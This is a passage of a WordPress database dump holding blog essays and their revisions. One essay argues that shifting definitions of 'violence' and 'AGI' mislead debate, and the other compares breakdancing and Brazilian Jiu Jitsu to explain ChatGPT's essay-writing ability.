href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-4-105652609\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, drop a chimp off in the jungle with nothing but his wits, and he’ll do fine. Drop that same doomerist off in the jungle, and they won’t survive the night. It turns out that intelligence doesn’t generalize that easily. Perhaps there are other reasons why humans ended up in charge of this place?</p>\n<!-- /wp:paragraph -->','Definitions have consequences','','publish','closed','closed','','definitions-have-consequences','','','2024-06-12 15:37:57','2024-06-12 15:37:57','',0,'https://trevorklee.com/?page_id=377',0,'page','',0),
(378,1,'2024-06-12 15:37:57','2024-06-12 15:37:57','<!-- wp:paragraph -->\n<p>There’s a slogan that I often see at leftist protests: “Silence is violence”. On the face of it, it’s kind of a ridiculous slogan (although very catchy). Silence is not making noise. Violence is causing physical harm to people. The two are obviously not the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563ab19a-2935-4003-85e6-760d6ac6508e_895x507.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F563ab19a-2935-4003-85e6-760d6ac6508e_895x507.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This one was written on a church for easy reading. Thanks, protesters!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, if you ever talk to leftist academics, you’ll realize that there’s a trick you missed. Violence has actually been redefined in leftist academia to include failing to prevent harm, as in the phrase “structural violence”, which can be so broadly defined as to include lack of health insurance for the homeless.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the trick is that violence was redefined by these academics to mean something else. Your lack of action is, by their definition, violence. A protester can come up to you having an iced coffee at Dunkin Donuts (I’m assuming you live in Boston) and accuse you of being violent, as you are not also protesting in the streets, and that is valid by their definition.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This seems wrong, no? An ordinary person having a Caramel Chocolate Cold Brew&#x2122;, only available for a limited time at Dunkin Donuts, would be quite upset at being accused of being violent. It would probably be enough to put you off of Dunkin’s all new Carrot Cake Muffin&#x2122;, an epic new grab-and-go treat for those with a sweet tooth&nbsp;<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-1-105652609\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedd3d45f-d4cc-4658-95fe-932e50032098_1000x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedd3d45f-d4cc-4658-95fe-932e50032098_1000x1000.jpeg\" alt=\"I Can\'t Stay At Home I Work At Dunkin Donuts We Fight When Others Cant  Anymore Bigfoot Shirt - T Shirt Classic\" title=\"I Can\'t Stay At Home I Work At Dunkin Donuts We Fight When Others Cant  Anymore Bigfoot Shirt - T Shirt Classic\"/></a><figcaption class=\"wp-element-caption\">I have no idea what this shirt means but I love it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Academically, though, it’s hard to combat such an accusation. We’re so used to English rapidly changing and evolving that we can’t articulate why it’s problematic to redefine violence to include a lack of action when, well, even problematic wasn’t in our vocabulary until a few years ago. If “drag” can get an extra definition added into the dictionary, then why can’t “violence”?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, this question might seem like a gimme to you. Most of my readers, I imagine, would think, “I would just not allow someone to call me violent in a Dunkin Donuts for simply drinking my incredibly sweet iced coffee instead of joining their protest. I would call them silly.” But I want you to imagine, for a second, that you did feel the need to defend yourself. Maybe you were grabbing coffee with an attractive, left-leaning colleague, and you wanted them to think that you weren’t actually a violent person. How would you defend yourself?<br><br>Well, for me, I would start by questioning why exactly this protester felt the need to say my inaction was “violent”, instead of just that my inaction was “bad”. I’d point out that the protester likely deliberately chose those terms because of the confusion between their definition of violence and the traditional definition of violence, which would make it possible to tar me with a far worse crime than the one I was actually guilty of.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I would bring in Charles Sanders Peirce’s pragmatical (<em>sic</em>) idea of clarity, in which the deepest level of clarity is understanding the consequences of a definition. So, calling someone violent for not doing something could justify harm against them, as most people would agree that violence should occasionally be met with violence, like in self-defense.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using this idea of clarity, I’d continue to argue that it is dangerous to confuse terms like this, and it’s much like redefining murder to include jaywalking. If we did that, it’d be easy for a jury to sentence someone to life in prison for murder, and only figure out later that they just didn’t cross at a crosswalk<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-2-105652609\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, the strawman successfully defeated, I assume everyone in this Dunkin Donuts would clap for me, and my attractive left-leaning colleague would reassure me that I’m the coolest guy in the office. But let’s leave that alone for now. I want to discuss another linguistic trick that I’ve noticed: artificial general intelligence, or AGI.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might seem like a weird segue. But, this has been on my mind recently, because I’ve been seeing a lot of panicked people on Twitter worrying about the rise of AGI. While some of these concerns are valid, I think a lot of them come from how misleading the term AGI itself is.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F86b4be06-6599-4851-b944-e2c06e3712a1_1204x746.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F86b4be06-6599-4851-b944-e2c06e3712a1_1204x746.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Witness, for example, this! People get very panicked about AGI for some reason!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The first and biggest problem comes with the “intelligence” part of “artificial general intelligence”. While the term intelligence has always been notoriously difficult to define, it’s always included a sense of purpose. A human being purposefully turning on a light switch demonstrates intelligence, while a cat bumping a light switch and turning it on does not<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-3-105652609\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This idea of purpose became blurred with the dawn of computers, as a logic circuit that turns on the lights at a certain level of room dimness is somewhere in between the human and the cat. The developers of this circuit (or at least their marketers) would probably call this an “artificially intelligent lighting system”, and most people would have no problem with that. After all, we generally get what these marketers mean.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, we never resolved the problem that this artificial intelligence isn’t the same sort of intelligence as it was originally defined. It has some kind of intentionality or purpose, but not the same kind as a human. It’s not choosing, but just following rules.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that’s the first problem with the term “artificial general intelligence”. The second problem comes with the term “general”. In this context, “general” is simply as opposed to “specialized”. So, a general artificial intelligence is one that can do many things, rather than a narrow set of things.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, the problem here is that “general” is too, well, general. To describe something as a general intelligence might mean that it is intelligent with regards to many things, or it might mean that it’s intelligent with regards to everything. Doomerists prefer the latter, because it allows them to make facile arguments like “people have more general intelligence than chimps, and people rule the world. AI will have more general intelligence than people, and then AI will rule the world.”<a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-4-105652609\">4</a>&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we get two definitions of AGI that exist simultaneously:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) a computer program that can do a lot of different things</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) an artificial, sentient being with godlike capabilities</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our trouble comes from the fact that neither definition of AGI is something we use in our everyday life, so we don’t have the same intuition as when it comes to a word like “violence”. So, if I say, “Wow, it sure seems like ChatGPT can do a lot of things with text,” and you respond “Yes, it feels like soon we’ll see our first real AGI,” I can’t automatically dismiss what you say out of hand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because yes, this neat new technology which does a lot of things with text makes me think that soon we will get technologies which can do even more things! However, if I suspect that you are referring to the possibility of an artificial, sentient being with godlike capabilities, I might say: “Do you mean that you expect the creation of software which is purposeful and better than human beings at every possible thing? Something that, if created, could both write a symphony and design a drug better than any human being ever could?”<br><br>In that case, the consequences clarified, I’d tell you that this does not seem likely to happen anytime soon and that, at least in the realm of drug design, we are very far from anything like that. I’d then tell you that you’ve become confused by dual definitions of “intelligence” and “general”. Then, hopefully, you will be able to stop freaking out on Twitter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-1-105652609\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m exploring native ads in this newsletter instead of turning on paid subscriptions. These native ads should be unobtrusive and there should be no way of telling that a company paid to sponsor them. I think I succeeded here; you’d never guess this newsletter was sponsored by Starbucks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-2-105652609\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I was feeling really spicy, I’d point out that this is, in fact, a tactic law enforcement uses when they describe your local weed dealer as a “drug trafficker” or the owner of a rub-and-tug place as a “sex trafficker”, even if all the masseuses are there voluntarily. These redefinitions of serious crimes to include less serious crimes make for a much better press conference at the small cost of people’s lives and livelihoods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-3-105652609\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not to say cats aren’t intelligent, but they’re not demonstrating it in this particular instance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/definitions-have-consequences#footnote-anchor-4-105652609\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, drop a chimp off in the jungle with nothing but his wits, and he’ll do fine. Drop that same doomerist off in the jungle, and they won’t survive the night. It turns out that intelligence doesn’t generalize that easily. Perhaps there are other reasons why humans ended up in charge of this place?</p>\n<!-- /wp:paragraph -->','Definitions have consequences','','inherit','closed','closed','','377-revision-v1','','','2024-06-12 15:37:57','2024-06-12 15:37:57','',377,'https://trevorklee.com/?p=378',0,'revision','',0),
(379,1,'2024-06-12 15:39:33','2024-06-12 15:39:33','<!-- wp:paragraph -->\n<p>In high school and college, I used to be very into breakdancing<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-1-105858052\">1</a>.&nbsp; I’d watch endless footage of battles and go to endless hours of practice (or “session”). Watching people better than me spend hour after hour perfecting the minutiae of their moves was where I first got introduced to the idea of deliberate practice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there was always an uneasy tension with breakdancing and deliberate practice. The breakdancing scene places a very high emphasis on originality. So, on the one hand, you had to master the fundamental movements, and there were only so many ways to do that. On the other hand, if you did nothing but deliberately practice the movements that other people had already mastered, you risked being called a “biter”, or copycat. By the time you participated in a battle, you needed to have your own unique movements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff955cce3-a0d2-4596-8cb0-23c1e10559e8_225x225.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff955cce3-a0d2-4596-8cb0-23c1e10559e8_225x225.jpeg\" alt=\"STONE - BBOY想咬東西肚子餓的意思( 疑? ) #Bboy #Bite #illustration | Facebook\" title=\"STONE - BBOY想咬東西肚子餓的意思( 疑? ) #Bboy #Bite #illustration | Facebook\"/></a><figcaption class=\"wp-element-caption\">If your opponent in a battle feels like you are biting, he will do this move in an attempt to shame you and persuade the judges that your move is unoriginal.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because of this tension, breakdancing, despite the countless hours young men (and some women) all over the world have devoted to it, has never really been fully systematized. Each new breakdancer who comes on the scene has to learn by osmosis and apprenticeship how to reach and then surpass the bleeding edge of the field. So, while the newest generation of breakdancers is undoubtedly more skilled in acrobatic movements (“power moves”) than any generation before, you’ll often hear from older breakdancers (“oldheads”) that some of the more stylized moves have been lost to time. It was impossible for anyone to copy them without being called a biter, so nobody learned how to do them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After college, I took up Brazilian Jiu Jitsu, or BJJ. Once again, I found myself in a world where young men (and some young women) spent hour after hour perfecting the minutiae of their moves.<br><br>However, there was a crucial difference in this practice. BJJ has no concept of “biting” or copying<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-2-105858052\">2</a>. Every top BJJ competitor has released at least one DVD explaining exactly how their moveset works and how they think about using it. In fact, it’s common for a competitor to use their success at a major tournament to plug their latest DVD release.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, pretty much all of BJJ has been systematized. Every new move that comes out is named, dissected, and placed within greater systems of movesets. I’d go so far as to say that, in this environment, it’s impossible for an effective move to be lost to time. Someone will take it upon themselves to explain to everyone else how to use it effectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s easy looking from the outside to think this is a natural state of affairs: “Of course breakdancing was not systematized and BJJ was! One’s a dance form and the other is a sport!” But I disagree. I think it’s the attitude that matters. Gymnastics is very similar to breakdancing, and yet it’s systematized to the extent that different moves are assigned point values by the judges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, I don’t think it’s at all obvious that BJJ would be amenable to being systematized. The easiest way you can win in BJJ is to make your opponent give up, and the only major rule is that you can’t do that by hitting them<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-3-105858052\">3</a>. You can choke them with your hands, your legs, your clothing, their clothing. You can bend pretty much any part of their body the wrong way. You’d expect there to be a huge number of ways to do this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’d be right. But there are a limited number of ways to do this effectively, and it’s possible to use your bodily movements to constrain your opponent into a limited number of responses. The huge number of possible actions you can take and responses your opponent can make gets funneled into a limited number of actions for you and responses for your opponent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And the reason this works is because almost all of our bodies are shaped in roughly the same way. Some of us are heavier or taller, and some of us are skinnier or shorter, but almost all of us have the same functional parts. The moves that I can do are also moves that you can do. The moves that work on me will also work on you. The ways that my arms and legs can move are roughly the same as the way your arms and legs can move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd06cda2b-741f-4771-a437-27a6a98d6f63_360x202.gif\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd06cda2b-741f-4771-a437-27a6a98d6f63_360x202.gif\" alt=\"The Wrestling Crab Ride For BJJ - BJJ World\" title=\"The Wrestling Crab Ride For BJJ - BJJ World\"/></a><figcaption class=\"wp-element-caption\">A great example of a move that seems impossible at first glance, but really just takes advantage of how our bodies are put together.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This brings me to ChatGPT. One of the most surprising things about ChatGPT is how well it can quickly bang out a mediocre essay on pretty much any topic. Granted, it still has trouble with hallucinating sources, but it’s surprising how convincing the essay sounds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s surprising because ChatGPT is basically just starting off with a bunch of words<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-4-105858052\">4</a>. It can string the words together however it likes. You’d expect that there are a huge number of ways to string words together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’d be right. But there are a limited number of ways to string words together effectively into a convincing essay. And, as it turns out, training ChatGPT on a lot of essays has taught it the common, effective ways of stringing words together to form a convincing essay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why this is surprising is we’re not used to thinking about essays like this. We’re used to thinking about essays like breakdancing, where there are fundamentals that you have to learn (i.e. grammar and semantics), but we place such a high emphasis on originality that we kick people out of school for copying wholesale.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we had thought about essays like BJJ, we’d realize that writing is, by and large, systematic. I don’t invent how to write an essay every time I write one of these blog posts. I frequently reuse the same techniques and strategies, techniques and strategies that I originally learned from reading a lot of essays that people wrote before me. The strings of words that they put together work roughly for me the same way that they did for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have chosen to teach writing like breakdancing, and so we’ve been left with the mistaken impression that most writing can’t be systematized. But take an AI that is incredibly good at learning patterns of words and give it no compunctions about copying techniques wholesale, and we find quickly that writing, like all human creative endeavors, fits within bigger systems. AIs still can’t innovate or add to these systems, but it’s increasingly clear that they can use them very well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-1-105858052\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For any of you that care, this is not entirely correct. I was never a great bboy, and was much better at (and more into) popping and all-styles. This distinction is lost on anyone not in the scene, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-2-105858052\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I’ve heard that this actually was a major concern before BJJ came to America. The Brazilians would guard their techniques jealously and threaten physical violence against anyone who would try to “steal” their moves. The Americans, on the other hand, just copied whatever worked from whoever was winning, and eventually their mindset won out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-3-105858052\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or eye gouging, scratching, squeezing their genitals, pulling their hair, bending their fingers, or sticking your fingers in any orifice. There are other wrinkles to the rule set as well, so please ask before you do anything crazy in your first BJJ class.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-4-105858052\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, actually, it’s starting with tokens. This is an important distinction, because (and I’m talking out of my depth here but I think I’m right) it allows ChatGPT to store a word like underestimate into two tokens it already knows, [under][estimate], rather than creating a new token for it. But that’s besides the point here.</p>\n<!-- /wp:paragraph -->','Part of why ChatGPT\'s writing ability surprises','','publish','closed','closed','','part-of-why-chatgpts-writing-ability-surprises','','','2024-06-12 15:39:33','2024-06-12 15:39:33','',0,'https://trevorklee.com/?page_id=379',0,'page','',0),
(380,1,'2024-06-12 15:39:33','2024-06-12 15:39:33','<!-- wp:paragraph -->\n<p>In high school and college, I used to be very into breakdancing<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-1-105858052\">1</a>.&nbsp; I’d watch endless footage of battles and go to endless hours of practice (or “session”). Watching people better than me spend hour after hour perfecting the minutiae of their moves was where I first got introduced to the idea of deliberate practice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, there was always an uneasy tension with breakdancing and deliberate practice. The breakdancing scene places a very high emphasis on originality. So, on the one hand, you had to master the fundamental movements, and there were only so many ways to do that. On the other hand, if you did nothing but deliberately practice the movements that other people had already mastered, you risked being called a “biter”, or copycat. By the time you participated in a battle, you needed to have your own unique movements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff955cce3-a0d2-4596-8cb0-23c1e10559e8_225x225.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff955cce3-a0d2-4596-8cb0-23c1e10559e8_225x225.jpeg\" alt=\"STONE - BBOY想咬東西肚子餓的意思( 疑? ) #Bboy #Bite #illustration | Facebook\" title=\"STONE - BBOY想咬東西肚子餓的意思( 疑? ) #Bboy #Bite #illustration | Facebook\"/></a><figcaption class=\"wp-element-caption\">If your opponent in a battle feels like you are biting, he will do this move in an attempt to shame you and persuade the judges that your move is unoriginal.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Because of this tension, breakdancing, despite the countless hours young men (and some women) all over the world have devoted to it, has never really been fully systematized. Each new breakdancer who comes on the scene has to learn by osmosis and apprenticeship how to reach and then surpass the bleeding edge of the field. So, while the newest generation of breakdancers is undoubtedly more skilled in acrobatic movements (“power moves”) than any generation before, you’ll often hear from older breakdancers (“oldheads”) that some of the more stylized moves have been lost to time. It was impossible for anyone to copy them without being called a biter, so nobody learned how to do them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After college, I took up Brazilian Jiu Jitsu, or BJJ. Once again, I found myself in a world where young men (and some young women) spent hour after hour perfecting the minutiae of their moves.<br><br>However, there was a crucial difference in this practice. BJJ has no concept of “biting” or copying<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-2-105858052\">2</a>. Every top BJJ competitor has released at least one DVD explaining exactly how their moveset works and how they think about using it. In fact, it’s common for a competitor to use their success at a major tournament to plug their latest DVD release.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, pretty much all of BJJ has been systematized. Every new move that comes out is named, dissected, and placed within greater systems of movesets. I’d go so far as to say that, in this environment, it’s impossible for an effective move to be lost to time. Someone will take it upon themselves to explain to everyone else how to use it effectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think it’s easy looking from the outside to think this is a natural state of affairs: “Of course breakdancing was not systematized and BJJ was! One’s a dance form and the other is a sport!” But I disagree. I think it’s the attitude that matters. Gymnastics is very similar to breakdancing, and yet it’s systematized to the extent that different moves are assigned point values by the judges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, I don’t think it’s at all obvious that BJJ would be amenable to being systematized. The easiest way you can win in BJJ is to make your opponent give up, and the only major rule is that you can’t do that by hitting them<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-3-105858052\">3</a>. You can choke them with your hands, your legs, your clothing, their clothing. You can bend pretty much any part of their body the wrong way. You’d expect there to be a huge number of ways to do this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’d be right. But there are a limited number of ways to do this effectively, and it’s possible to use your bodily movements to constrain your opponent into a limited number of responses. The huge number of possible actions you can take and responses your opponent can make gets funneled into a limited number of actions for you and responses for your opponent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And the reason this works is because almost all of our bodies are shaped in roughly the same way. Some of us are heavier or taller, and some of us are skinnier or shorter, but almost all of us have the same functional parts. The moves that I can do are also moves that you can do. The moves that work on me will also work on you. The ways that my arms and legs can move are roughly the same as the way your arms and legs can move.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd06cda2b-741f-4771-a437-27a6a98d6f63_360x202.gif\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd06cda2b-741f-4771-a437-27a6a98d6f63_360x202.gif\" alt=\"The Wrestling Crab Ride For BJJ - BJJ World\" title=\"The Wrestling Crab Ride For BJJ - BJJ World\"/></a><figcaption class=\"wp-element-caption\">A great example of a move that seems impossible at first glance, but really just takes advantage of how our bodies are put together.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This brings me to ChatGPT. One of the most surprising things about ChatGPT is how well it can quickly bang out a mediocre essay on pretty much any topic. Granted, it still has trouble with hallucinating sources, but it’s surprising how convincing the essay sounds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s surprising because ChatGPT is basically just starting off with a bunch of words<a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-4-105858052\">4</a>. It can string the words together however it likes. You’d expect that there are a huge number of ways to string words together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And you’d be right. But there are a limited number of ways to string words together effectively into a convincing essay. And, as it turns out, training ChatGPT on a lot of essays has taught it the common, effective ways of stringing words together to form a convincing essay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason why this is surprising is we’re not used to thinking about essays like this. We’re used to thinking about essays like breakdancing, where there are fundamentals that you have to learn (i.e. grammar and semantics), but we place such a high emphasis on originality that we kick people out of school for copying wholesale.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we had thought about essays like BJJ, we’d realize that writing is, by and large, systematic. I don’t invent how to write an essay every time I write one of these blog posts. I frequently reuse the same techniques and strategies, techniques and strategies that I originally learned from reading a lot of essays that people wrote before me. The strings of words that they put together work roughly for me the same way that they did for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have chosen to teach writing like breakdancing, and so we’ve been left with the mistaken impression that most writing can’t be systematized. But take an AI that is incredibly good at learning patterns of words and give it no compunctions about copying techniques wholesale, and we find quickly that writing, like all human creative endeavors, fits within bigger systems. AIs still can’t innovate or add to these systems, but it’s increasingly clear that they can use them very well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-1-105858052\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For any of you that care, this is not entirely correct. I was never a great bboy, and was much better at (and more into) popping and all-styles. This distinction is lost on anyone not in the scene, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-2-105858052\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although I’ve heard that this actually was a major concern before BJJ came to America. The Brazilians would guard their techniques jealously and threaten physical violence against anyone who would try to “steal” their moves. The Americans, on the other hand, just copied whatever worked from whoever was winning, and eventually their mindset won out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 